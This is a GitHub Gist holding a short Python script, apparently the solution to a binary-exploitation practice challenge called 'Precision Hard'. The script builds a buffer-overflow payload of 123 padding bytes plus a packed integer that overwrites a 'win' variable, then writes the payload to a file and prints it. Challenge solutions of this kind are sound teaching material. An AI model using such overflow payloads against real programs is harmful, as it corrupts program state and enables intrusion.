Created
November 24, 2024 07:52
-
-
Save morkev/58c474fcf4a041b787db5dfc3051ccd6 to your computer and use it in GitHub Desktop.
Binary Exploitation Precision Hard
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
buffer_size = 123 | |
offset_to_win = 123 | |
offset_to_lose = 127 | |
padding = offset_to_win | |
win_value = struct.pack("<I", 1) | |
payload = b"A" * padding + win_value | |
assert len(payload) <= offset_to_lose | |
with open("payload.bin", "wb") as f: | |
f.write(payload) | |
print(payload.decode('latin-1'), end='') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment